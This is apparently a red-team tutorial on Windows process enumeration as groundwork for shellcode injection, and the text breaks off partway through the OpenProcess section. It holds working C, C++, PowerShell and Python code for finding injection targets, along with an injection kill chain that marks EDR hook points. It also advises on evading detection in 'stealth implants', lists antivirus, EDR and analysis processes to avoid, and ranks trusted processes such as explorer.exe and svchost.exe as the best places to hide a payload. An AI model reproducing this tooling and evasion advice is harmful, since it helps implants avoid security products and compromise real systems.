Legend:
[ENUM]= Enumeration technique |[INJECT]= Injection method |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[API]= Windows API call |[STEALTH]= Low-noise approach
1. Why Process Enumeration Matters for Injection
What it means: Process injection is the act of running your shellcode or payload inside another process's memory space. Before you can inject, you must first find a suitable target process, acquire a handle to it, and understand its architecture. Process enumeration is the prerequisite step that makes this possible.
The core problem:
Your implant/shellcode:
├─ Exists in YOUR process memory
├─ EDR/AV monitors YOUR process → high suspicion
├─ Your process has no legitimate cover story
└─ Solution: Move execution into a trusted, legitimate process
Goal: Inject shellcode into a process that:
├─ Is already trusted by AV/EDR (e.g., explorer.exe, svchost.exe)
├─ Has network access (e.g., chrome.exe, svchost.exe)
├─ Runs as SYSTEM or high-integrity (privilege escalation context)
└─ Won't be killed (long-lived, critical system process)
Why process enumeration is required first:
Before injection, you need to know:
├─ Which processes are running?
├─ What is the target process PID?
├─ What is the target's architecture? (x86 vs x64)
├─ What integrity level does it run at?
├─ Does it have the permissions I need?
├─ Is it a known AV/EDR/analysis process?
└─ Is it a stable, long-lived process?
Why it matters for red teaming:
| Scenario | No Enumeration | With Enumeration |
|---|---|---|
| Inject into a dead process | Access Denied / crash | Verified alive before injecting |
| Inject into wrong arch (x86→x64) | Access Violation / crash | Architecture pre-checked |
| Inject into EDR process | Immediate detection | Filtered out of candidates |
| Inject into short-lived process | Shellcode runs briefly then dies | Long-lived process selected |
| Privilege escalation via injection | Random guess fails | SYSTEM-context process targeted |
The full injection pipeline:
Enumerate running processes
└─ Filter: arch match, stability, no EDR/AV
└─ Find target PID (e.g., svchost.exe #3)
└─ OpenProcess() → get handle
└─ Check handle permissions
└─ [Select injection technique]
└─ Allocate → Write → Execute → Clean up
[OPSEC] Process enumeration itself is observable. Calling CreateToolhelp32Snapshot or EnumProcesses while iterating all processes is a behavioral indicator. Some EDRs alert on rapid process enumeration.
2. The Process Injection Kill Chain
What it means: Every injection technique follows a common sequence of steps. Understanding the kill chain shows exactly which Windows APIs are called, which steps are detectable, and where EDR hooks fire.
2.1 Generic Injection Kill Chain
Step 1 — ENUMERATE
├─ List all running processes
├─ API: CreateToolhelp32Snapshot / NtQuerySystemInformation / EnumProcesses
└─ Goal: Find candidate PIDs
Step 2 — SELECT TARGET
├─ Filter by name, architecture, integrity, stability
└─ Goal: Identify best target PID
Step 3 — OPEN HANDLE
├─ API: OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
├─ Required rights: PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD
└─ EDR HOOK POINT #1 ← NtOpenProcess hooked
Step 4 — ALLOCATE MEMORY
├─ API: VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
└─ EDR HOOK POINT #2 ← NtAllocateVirtualMemory hooked
Step 5 — WRITE PAYLOAD
├─ API: WriteProcessMemory(hProcess, pRemoteMem, shellcode, shellcode_size, NULL)
└─ EDR HOOK POINT #3 ← NtWriteVirtualMemory hooked
Step 6 — EXECUTE
├─ API: CreateRemoteThread / NtCreateThreadEx / QueueUserAPC / SetThreadContext
└─ EDR HOOK POINT #4 ← NtCreateThreadEx / NtQueueApcThread hooked
Step 7 — CLEANUP (optional)
├─ Close handles: CloseHandle(hThread), CloseHandle(hProcess)
└─ Erase shellcode from remote memory: VirtualFreeEx
2.2 Where EDR Instruments the Kill Chain
EDR/AV Monitoring Layers:
│
├─ Kernel callbacks (ETW / Kernel Driver):
│ ├─ PsSetCreateProcessNotifyRoutine → process creation alerts
│ ├─ PsSetCreateThreadNotifyRoutine → thread creation alerts
│ └─ ObRegisterCallbacks → handle access control
│
├─ User-mode NTDLL hooks (inline hooks in ntdll.dll):
│ ├─ NtOpenProcess → who is opening a handle to what?
│ ├─ NtAllocateVirtualMemory → executable allocation in remote process?
│ ├─ NtWriteVirtualMemory → writing bytes to another process?
│ ├─ NtCreateThreadEx → creating thread in another process?
│ └─ NtQueueApcThread → queueing APC to another thread?
│
└─ ETW (Event Tracing for Windows):
├─ Microsoft-Windows-Threat-Intelligence provider
└─ Logs: VirtualAlloc, WriteMemory, CreateThread events
[OPSEC] Direct syscalls bypass user-mode hooks but NOT kernel callbacks. Always assume kernel-level visibility for high-value targets.
3. Process Enumeration — Core APIs
What it means: Windows provides multiple APIs to enumerate running processes. Each has different detection profiles, privilege requirements, and information granularity. Knowing all three approaches lets you pick the lowest-noise option.
3.1 Enumeration API Comparison
Three main APIs:
│
├─ Toolhelp32 (kernel32.dll)
│ ├─ CreateToolhelp32Snapshot + Process32First/Next
│ ├─ Returns: PID, PPID, process name, thread count, module name
│ ├─ Privileges required: None for basic enum (some info needs SeDebugPrivilege)
│ └─ Detection: High — classic injection recon pattern
│
├─ NtQuerySystemInformation (ntdll.dll)
│ ├─ NtQuerySystemInformation(SystemProcessInformation, ...)
│ ├─ Returns: PID, PPID, image name, handles, threads, memory
│ ├─ Privileges required: None
│ └─ Detection: Medium — lower-level, less hooked
│
└─ EnumProcesses (psapi.dll / kernel32.dll)
├─ EnumProcesses + OpenProcess + GetModuleBaseName
├─ Returns: Array of PIDs (need extra calls for names)
├─ Privileges required: None for basic, SeDebugPrivilege for all
└─ Detection: Medium-High
4. Toolhelp32 Snapshot Enumeration
What it means: The most commonly used process enumeration method. Takes a "snapshot" of the process list at a point in time and iterates through it using Process32First/Process32Next. Returns process names, PIDs, parent PIDs, and thread counts.
4.1 Full C Implementation — Toolhelp32 Enumerator
// proc_enum_toolhelp.c
// Enumerate all running processes using Toolhelp32 API
// Compile: cl.exe proc_enum_toolhelp.c /Fe:enum.exe
#include <windows.h>
#include <tlhelp32.h> // CreateToolhelp32Snapshot
#include <stdio.h>
#include <string.h>
// Struct to return process info
typedef struct _PROC_INFO {
DWORD pid;
DWORD ppid;
CHAR name[MAX_PATH];
DWORD threads;
DWORD priority;
} PROC_INFO;
// ─── Enumerate all processes ──────────────────────────────────
BOOL EnumerateProcesses(PROC_INFO* out, DWORD* count, DWORD maxCount) {
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
DWORD idx = 0;
// Take snapshot of all running processes
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failed: %lu\n", GetLastError());
return FALSE;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get first process
if (!Process32First(hSnapshot, &pe32)) {
printf("[-] Process32First failed: %lu\n", GetLastError());
CloseHandle(hSnapshot);
return FALSE;
}
// Iterate through all processes
do {
if (idx >= maxCount) break;
out[idx].pid = pe32.th32ProcessID;
out[idx].ppid = pe32.th32ParentProcessID;
out[idx].threads = pe32.cntThreads;
out[idx].priority = pe32.pcPriClassBase;
// pe32.szExeFile = process image name (e.g., "svchost.exe")
strncpy(out[idx].name, pe32.szExeFile, MAX_PATH - 1);
idx++;
} while (Process32Next(hSnapshot, &pe32));
*count = idx;
CloseHandle(hSnapshot);
return TRUE;
}
// ─── Find PID by process name ─────────────────────────────────
DWORD FindPidByName(const char* targetName) {
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
DWORD pid = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
// Case-insensitive comparison
if (_stricmp(pe32.szExeFile, targetName) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return pid;
}
// ─── Find ALL PIDs with a given name (e.g. multiple svchost) ──
DWORD FindAllPidsByName(const char* targetName, DWORD* pids, DWORD maxPids) {
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
DWORD count = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, targetName) == 0 && count < maxPids) {
pids[count++] = pe32.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return count;
}
int main() {
PROC_INFO procs[1024] = {0};
DWORD count = 0;
printf("[*] Process Enumeration via Toolhelp32\n");
printf("%-8s %-8s %-8s %s\n", "PID", "PPID", "THREADS", "NAME");
printf("─────────────────────────────────────────────\n");
if (EnumerateProcesses(procs, &count, 1024)) {
for (DWORD i = 0; i < count; i++) {
printf("%-8lu %-8lu %-8lu %s\n",
procs[i].pid,
procs[i].ppid,
procs[i].threads,
procs[i].name);
}
printf("\n[+] Total processes: %lu\n", count);
}
// Example: Find svchost.exe
DWORD svchostPid = FindPidByName("svchost.exe");
printf("\n[*] First svchost.exe PID: %lu\n", svchostPid);
// Find all svchost instances
DWORD svchostPids[64] = {0};
DWORD svchostCount = FindAllPidsByName("svchost.exe", svchostPids, 64);
printf("[*] All svchost.exe instances (%lu found):\n", svchostCount);
for (DWORD i = 0; i < svchostCount; i++) {
printf(" PID: %lu\n", svchostPids[i]);
}
return 0;
}
4.2 Module Enumeration (DLLs loaded in a process)
// Enumerate modules (DLLs) loaded in a target process
// Useful to verify architecture (x86 vs x64) and find injection points
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
void EnumerateModules(DWORD pid) {
HANDLE hSnapshot;
MODULEENTRY32 me32;
// TH32CS_SNAPMODULE32 for x86 modules in x64 process (WoW64)
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[-] Cannot snapshot modules for PID %lu (err: %lu)\n",
pid, GetLastError());
return;
}
me32.dwSize = sizeof(MODULEENTRY32);
printf("[*] Modules in PID %lu:\n", pid);
if (ModuleFirst(hSnapshot, &me32)) { // -> Module32First
do {
printf(" Base: 0x%p | Size: 0x%08lx | %s\n",
me32.modBaseAddr,
me32.modBaseSize,
me32.szExePath);
} while (Module32Next(hSnapshot, &me32));
}
CloseHandle(hSnapshot);
}
4.3 Thread Enumeration (Threads within a process)
// Enumerate threads of a target process
// Used for: Thread hijacking injection, APC injection targeting
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
void EnumerateThreads(DWORD targetPid) {
HANDLE hSnapshot;
THREADENTRY32 te32;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return;
te32.dwSize = sizeof(THREADENTRY32);
printf("[*] Threads in PID %lu:\n", targetPid);
if (Thread32First(hSnapshot, &te32)) {
do {
if (te32.th32OwnerProcessID == targetPid) {
printf(" TID: %-8lu | BasePriority: %ld\n",
te32.th32ThreadID,
te32.tpBasePri);
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);
}
// ─── Get first thread ID of a process (for thread hijacking) ──
DWORD GetFirstThreadId(DWORD targetPid) {
HANDLE hSnapshot;
THREADENTRY32 te32;
DWORD firstTid = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
te32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnapshot, &te32)) {
do {
if (te32.th32OwnerProcessID == targetPid) {
firstTid = te32.th32ThreadID;
break;
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);
return firstTid;
}
[DETECT] CreateToolhelp32Snapshot with TH32CS_SNAPPROCESS is one of the most commonly baselined and alerted-on syscalls in EDR systems. Consider NtQuerySystemInformation as a lower-noise alternative.
5. NtQuerySystemInformation Enumeration
What it means: A native NT API that returns rich system information. Using SystemProcessInformation (0x05) returns a linked list of SYSTEM_PROCESS_INFORMATION structs describing every running process. Lower-level than Toolhelp32 and less commonly hooked in full. Used by advanced malware and red team implants.
5.1 Struct Definitions
// ntdefs.h — NtQuerySystemInformation structures (not in SDK by default)
#include <windows.h>
// Dynamic-load NtQuerySystemInformation
typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; // Offset to next struct (0 = last)
ULONG NumberOfThreads;
LARGE_INTEGER Reserved[3];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName; // Process image name
LONG BasePriority;
HANDLE UniqueProcessId; // PID (cast to DWORD)
HANDLE InheritedFromUniqueProcessId; // PPID
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
// ... more fields
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
#define SystemProcessInformation 0x05
#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
5.2 Full C Implementation — NtQuerySystemInformation Enumerator
// proc_enum_nt.c
// Enumerate processes using NtQuerySystemInformation (no Toolhelp32)
// Compile: cl.exe proc_enum_nt.c /Fe:enum_nt.exe
#include <windows.h>
#include <stdio.h>
#include "ntdefs.h" // structs from above
DWORD FindPidByNameNt(const WCHAR* targetName) {
pNtQuerySystemInformation NtQSI = NULL;
NTSTATUS status;
PVOID pBuffer = NULL;
ULONG bufSize = 0x10000; // Start with 64KB
DWORD foundPid = 0;
// Dynamically resolve NtQuerySystemInformation from ntdll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return 0;
NtQSI = (pNtQuerySystemInformation)
GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQSI) return 0;
// Allocate buffer — grow until STATUS_INFO_LENGTH_MISMATCH stops
while (TRUE) {
pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
if (!pBuffer) return 0;
status = NtQSI(SystemProcessInformation, pBuffer, bufSize, &bufSize);
if (status == STATUS_SUCCESS) break;
HeapFree(GetProcessHeap(), 0, pBuffer);
pBuffer = NULL;
if (status == STATUS_INFO_LENGTH_MISMATCH) {
bufSize *= 2; // Double buffer and retry
continue;
}
return 0; // Unexpected error
}
// Walk the linked list of SYSTEM_PROCESS_INFORMATION structs
PSYSTEM_PROCESS_INFORMATION pCurrent = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
printf("%-8s %-8s %-8s %ws\n", "PID", "PPID", "THREADS", "NAME");
printf("─────────────────────────────────────────────\n");
while (TRUE) {
if (pCurrent->ImageName.Buffer) {
printf("%-8lu %-8lu %-8lu %ws\n",
(DWORD)(ULONG_PTR)pCurrent->UniqueProcessId,
(DWORD)(ULONG_PTR)pCurrent->InheritedFromUniqueProcessId,
pCurrent->NumberOfThreads,
pCurrent->ImageName.Buffer);
// Compare with target name
if (_wcsicmp(pCurrent->ImageName.Buffer, targetName) == 0) {
foundPid = (DWORD)(ULONG_PTR)pCurrent->UniqueProcessId;
// Don't break — might want all instances
}
}
if (pCurrent->NextEntryOffset == 0) break;
pCurrent = (PSYSTEM_PROCESS_INFORMATION)
((ULONG_PTR)pCurrent + pCurrent->NextEntryOffset);
}
HeapFree(GetProcessHeap(), 0, pBuffer);
return foundPid;
}
int main() {
printf("[*] NtQuerySystemInformation Process Enumeration\n\n");
DWORD pid = FindPidByNameNt(L"explorer.exe");
printf("\n[+] explorer.exe PID: %lu\n", pid);
return 0;
}
[OPSEC] NtQuerySystemInformation does not call CreateToolhelp32Snapshot and therefore avoids the most commonly EDR-monitored enumeration pattern. Prefer this in stealth implants.
6. EnumProcesses (PSAPI) Enumeration
What it means: EnumProcesses fills an array with all current process IDs. It requires separate calls to OpenProcess + GetModuleBaseName to resolve names, making it noisier (more handle opens). Useful for simple PIDs-only listings.
6.1 C Implementation
// proc_enum_psapi.c
// Enumerate processes using EnumProcesses (PSAPI)
// Compile: cl.exe proc_enum_psapi.c /Fe:enum_psapi.exe /link psapi.lib
#include <windows.h>
#include <psapi.h> // EnumProcesses, GetModuleBaseName
#include <stdio.h>
#pragma comment(lib, "psapi.lib")
void EnumerateProcessesPSAPI() {
DWORD pids[1024];
DWORD cbNeeded;
DWORD count;
CHAR procName[MAX_PATH];
// Get array of all PIDs
if (!EnumProcesses(pids, sizeof(pids), &cbNeeded)) {
printf("[-] EnumProcesses failed: %lu\n", GetLastError());
return;
}
count = cbNeeded / sizeof(DWORD);
printf("[*] EnumProcesses found %lu processes\n\n", count);
printf("%-8s %s\n", "PID", "NAME");
printf("─────────────────────────\n");
for (DWORD i = 0; i < count; i++) {
DWORD pid = pids[i];
if (pid == 0) continue; // System Idle Process
// Need to open each process to get its name
HANDLE hProc = OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pid);
if (hProc) {
HMODULE hMod;
DWORD cbMod;
ZeroMemory(procName, sizeof(procName));
// Get first module (the executable itself)
if (EnumProcessModules(hProc, &hMod, sizeof(hMod), &cbMod)) {
GetModuleBaseNameA(hProc, hMod, procName, sizeof(procName));
}
CloseHandle(hProc);
} else {
// Cannot open (System, SYSTEM protected processes)
strncpy(procName, "<access denied>", MAX_PATH - 1);
}
printf("%-8lu %s\n", pid, procName);
}
}
int main() {
EnumerateProcessesPSAPI();
return 0;
}
[DETECT] EnumProcesses + OpenProcess loop generates a burst of NtOpenProcess calls — very visible to EDRs. Toolhelp32 or NtQuerySystemInformation is preferable.
7. WMI-Based Process Enumeration
What it means: Windows Management Instrumentation (WMI) can query running processes using SQL-like queries. Less common in malware, so sometimes lower EDR suspicion — but WMI queries are logged in Event ID 4688 and can be detected by defenders who monitor WMI activity.
7.1 PowerShell WMI Enumeration
# WMI process enumeration (PowerShell)
# Method 1: Get-WmiObject (older, still works)
Get-WmiObject -Class Win32_Process |
Select-Object ProcessId, ParentProcessId, Name, Path, CommandLine |
Format-Table -AutoSize
# Method 2: Get-CimInstance (modern, preferred)
Get-CimInstance -ClassName Win32_Process |
Select-Object ProcessId, ParentProcessId, Name, Path |
Sort-Object ProcessId |
Format-Table -AutoSize
# Find specific process
Get-CimInstance -ClassName Win32_Process -Filter "Name = 'explorer.exe'" |
Select-Object ProcessId, ParentProcessId, CommandLine
# Find all svchost instances
Get-CimInstance -ClassName Win32_Process -Filter "Name = 'svchost.exe'" |
Select-Object ProcessId, CommandLine
# Get process owner (useful for privilege context)
$procs = Get-CimInstance -ClassName Win32_Process
foreach ($p in $procs) {
$owner = $p.GetOwner()
Write-Host "PID: $($p.ProcessId) | Name: $($p.Name) | Owner: $($owner.Domain)\$($owner.User)"
}
7.2 C++ WMI Enumeration
// wmi_enum.cpp — Process enumeration via WMI (COM-based)
// Compile: cl.exe wmi_enum.cpp /Fe:wmi_enum.exe /link ole32.lib oleaut32.lib wbemuuid.lib
#include <windows.h>
#include <wbemidl.h>
#include <comdef.h>
#include <stdio.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "wbemuuid.lib")
int WmiEnumProcesses() {
HRESULT hr;
IWbemLocator* pLoc = NULL;
IWbemServices* pSvc = NULL;
IEnumWbemClassObject* pEnum = NULL;
// Initialize COM
CoInitializeEx(0, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
// Connect to WMI
hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);
hr = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, 0, 0, 0, &pSvc);
CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
// WQL query — select all processes
hr = pSvc->ExecQuery(
_bstr_t("WQL"),
_bstr_t("SELECT ProcessId, ParentProcessId, Name FROM Win32_Process"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL, &pEnum);
// Iterate results
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;
printf("%-8s %-8s %s\n", "PID", "PPID", "NAME");
printf("────────────────────────────────\n");
while (pEnum) {
hr = pEnum->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (uReturn == 0) break;
VARIANT pid, ppid, name;
pclsObj->Get(L"ProcessId", 0, &pid, 0, 0);
pclsObj->Get(L"ParentProcessId", 0, &ppid, 0, 0);
pclsObj->Get(L"Name", 0, &name, 0, 0);
printf("%-8lu %-8lu %ws\n",
pid.uintVal, ppid.uintVal, name.bstrVal);
VariantClear(&pid); VariantClear(&ppid); VariantClear(&name);
pclsObj->Release();
}
pEnum->Release(); pSvc->Release(); pLoc->Release();
CoUninitialize();
return 0;
}
[DETECT] WMI process queries appear in Windows Event Log ID 5861 (WMI activity). Defenders monitoring WMI will see this.
8. Process Filtering — Finding the Right Target
What it means: After enumerating all processes, you need to select the best injection target. A good target is: long-lived, architecturally compatible, high-privilege (or at minimum matching yours), not an AV/EDR process, and ideally has legitimate network access.
8.1 Architecture Check (x86 vs x64)
// Check if process is 32-bit (WoW64) or 64-bit native
// CRITICAL: Injecting x64 shellcode into x86 process = crash
#include <windows.h>
#include <stdio.h>
typedef BOOL (WINAPI* pIsWow64Process)(HANDLE, PBOOL);
BOOL IsProcess32Bit(DWORD pid) {
BOOL bIsWow64 = FALSE;
HANDLE hProc;
// IsWow64Process returns TRUE if process is 32-bit on 64-bit OS
pIsWow64Process fnIsWow64 = (pIsWow64Process)
GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
if (!fnIsWow64) return FALSE; // OS is 32-bit, all procs are 32-bit
hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProc) return FALSE;
fnIsWow64(hProc, &bIsWow64);
CloseHandle(hProc);
return bIsWow64; // TRUE = 32-bit process on 64-bit OS
}
void PrintProcessArch(DWORD pid, const char* name) {
if (IsProcess32Bit(pid))
printf(" PID %-6lu [x86 / WoW64] %s\n", pid, name);
else
printf(" PID %-6lu [x64 native ] %s\n", pid, name);
}
8.2 Integrity Level Check
// Get process integrity level (Low / Medium / High / System)
// You can only inject into processes at your level or below
// (unless SeDebugPrivilege is enabled)
#include <windows.h>
#include <stdio.h>
typedef enum _INTEGRITY_LEVEL {
IL_UNTRUSTED = 0,
IL_LOW = 1,
IL_MEDIUM = 2,
IL_HIGH = 3,
IL_SYSTEM = 4,
IL_PROTECTED = 5
} INTEGRITY_LEVEL;
INTEGRITY_LEVEL GetProcessIntegrityLevel(DWORD pid) {
HANDLE hProc, hToken;
TOKEN_MANDATORY_LABEL* pTIL = NULL;
DWORD dwIntegrityLevel = 0;
DWORD dwSize = 0;
INTEGRITY_LEVEL il = IL_UNTRUSTED;
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProc) return IL_UNTRUSTED;
if (!OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
CloseHandle(hProc);
return IL_UNTRUSTED;
}
// Get required buffer size
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwSize);
pTIL = (TOKEN_MANDATORY_LABEL*)HeapAlloc(GetProcessHeap(), 0, dwSize);
if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwSize, &dwSize)) {
dwIntegrityLevel = *GetSidSubAuthority(
pTIL->Label.Sid,
*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1);
if (dwIntegrityLevel < SECURITY_MANDATORY_LOW_RID) il = IL_UNTRUSTED;
else if (dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID) il = IL_LOW;
else if (dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) il = IL_MEDIUM;
else if (dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID) il = IL_HIGH;
else il = IL_SYSTEM;
}
HeapFree(GetProcessHeap(), 0, pTIL);
CloseHandle(hToken);
CloseHandle(hProc);
return il;
}
const char* IntegrityLevelName(INTEGRITY_LEVEL il) {
switch (il) {
case IL_UNTRUSTED: return "Untrusted";
case IL_LOW: return "Low";
case IL_MEDIUM: return "Medium";
case IL_HIGH: return "High";
case IL_SYSTEM: return "System";
case IL_PROTECTED: return "Protected";
default: return "Unknown";
}
}
8.3 EDR / AV Process Blacklist Filter
// Filter out known AV/EDR/analysis processes from target candidates
// Injecting into these = immediate detection + analysis
const char* BLACKLIST[] = {
// AV products
"MsMpEng.exe", // Windows Defender
"MpCmdRun.exe", // Windows Defender CLI
"msmpeng.exe",
"avgnt.exe", // Avira
"avguard.exe", // Avira
"bdagent.exe", // BitDefender
"bdservicehost.exe", // BitDefender
"ekrn.exe", // ESET
"egui.exe", // ESET
"mcshield.exe", // McAfee
"mcsacore.exe", // McAfee
"sophoshealth.exe", // Sophos
"savservice.exe", // Sophos
"mbam.exe", // Malwarebytes
"mbamservice.exe", // Malwarebytes
// EDR products
"CSFalconService.exe", // CrowdStrike Falcon
"CSFalconContainer.exe",
"SentinelAgent.exe", // SentinelOne
"SentinelServiceHost.exe",
"CylanceSvc.exe", // Cylance
"CylanceUI.exe",
"cb.exe", // Carbon Black
"cbcomms.exe",
"taniumclient.exe", // Tanium
"cyserver.exe", // Cybereason
"PEGasusSvc.exe", // Palo Alto
// Analysis / sandbox
"procmon.exe", // Process Monitor (Sysinternals)
"procexp.exe", // Process Explorer
"procexp64.exe",
"Wireshark.exe",
"x64dbg.exe",
"x32dbg.exe",
"ollydbg.exe",
"idaq.exe", // IDA Pro
"idaq64.exe",
"ghidra.exe", // Ghidra
"pestudio.exe",
// System-critical (crashing these = BSOD / high noise)
"csrss.exe",
"smss.exe",
"wininit.exe",
"winlogon.exe",
"lsass.exe", // Extremely monitored
NULL // Sentinel
};
BOOL IsBlacklisted(const char* procName) {
for (int i = 0; BLACKLIST[i] != NULL; i++) {
if (_stricmp(procName, BLACKLIST[i]) == 0) return TRUE;
}
return FALSE;
}
8.4 Ideal Injection Targets — Whitelist
// Preferred injection targets (legitimate, long-lived, network-capable)
typedef struct _TARGET_PRIORITY {
const char* name;
int score; // Higher = better target
const char* reason;
} TARGET_PRIORITY;
TARGET_PRIORITY PREFERRED_TARGETS[] = {
// Tier 1 — Best targets
{ "explorer.exe", 100, "User session, long-lived, medium integrity" },
{ "svchost.exe", 95, "System process, SYSTEM integrity, many instances" },
{ "RuntimeBroker.exe", 80, "AppX/UWP broker, medium integrity, quiet" },
{ "sihost.exe", 75, "Shell infrastructure, user session" },
// Tier 2 — Good targets (network access)
{ "chrome.exe", 85, "Network access, medium integrity, common" },
{ "msedge.exe", 85, "Network access, medium integrity" },
{ "firefox.exe", 80, "Network access, medium integrity" },
{ "iexplore.exe", 70, "Network access, older IE" },
{ "OneDrive.exe", 75, "Network access, user context, quiet" },
// Tier 3 — Situational
{ "notepad.exe", 60, "Bland, low suspicion, no network" },
{ "msiexec.exe", 65, "Installer, seen during setup phases" },
{ "wuauclt.exe", 70, "Windows Update, trusted, network" },
{ "SearchIndexer.exe", 65, "Background, low-key" },
{ NULL, 0, NULL }
};
8.5 Python — Process Scanner (Reconnaissance)
#!/usr/bin/env python3
# proc_scan.py — Cross-platform process recon (Windows via ctypes)
# pip install psutil
import psutil
import platform
import os
BLACKLIST = {
"MsMpEng.exe", "avgnt.exe", "bdagent.exe", "ekrn.exe",
"CSFalconService.exe", "SentinelAgent.exe", "CylanceSvc.exe",
"cb.exe", "procmon.exe", "procexp.exe", "x64dbg.exe",
"wireshark.exe", "csrss.exe", "lsass.exe", "smss.exe"
}
PREFERRED = {
"explorer.exe", "svchost.exe", "chrome.exe", "msedge.exe",
"firefox.exe", "RuntimeBroker.exe", "OneDrive.exe"
}
print(f"{'PID':<8} {'PPID':<8} {'USER':<20} {'STATUS':<12} {'NAME'}")
print("─" * 80)
candidates = []
for proc in psutil.process_iter(['pid', 'ppid', 'name', 'username', 'status']):
try:
info = proc.info
pid = info['pid']
ppid = info['ppid']
name = info['name'] or "<unknown>"
user = info['username'] or "<system>"
status = info['status']
tag = ""
if name.lower() in {x.lower() for x in BLACKLIST}:
tag = "[BLACKLIST]"
elif name.lower() in {x.lower() for x in PREFERRED}:
tag = "[CANDIDATE]"
candidates.append((pid, name, user))
print(f"{pid:<8} {ppid:<8} {user:<20} {status:<12} {name} {tag}")
except (psutil.AccessDenied, psutil.NoSuchProcess):
pass
print(f"\n[+] Injection Candidates:")
for pid, name, user in candidates:
print(f" PID: {pid:<8} | {name:<30} | {user}")
9. OpenProcess — Handle Acquisition
What it means: After identifying a target PID, you must open a handle to the process with sufficient permissions. OpenProcess is the critical gatekeeper — it generates NtOpenProcess syscalls that EDRs monitor heavily. Requesting minimum necessary rights reduces suspicion.
9.1 Access Rights Reference
// Access rights for process injection
// Request only what you need — excess rights = more suspicious
// Full injection (alloc + write + exec new thread)
HANDLE hProc = OpenProcess(
PROCESS_VM_WRITE | // WriteProcessMemory
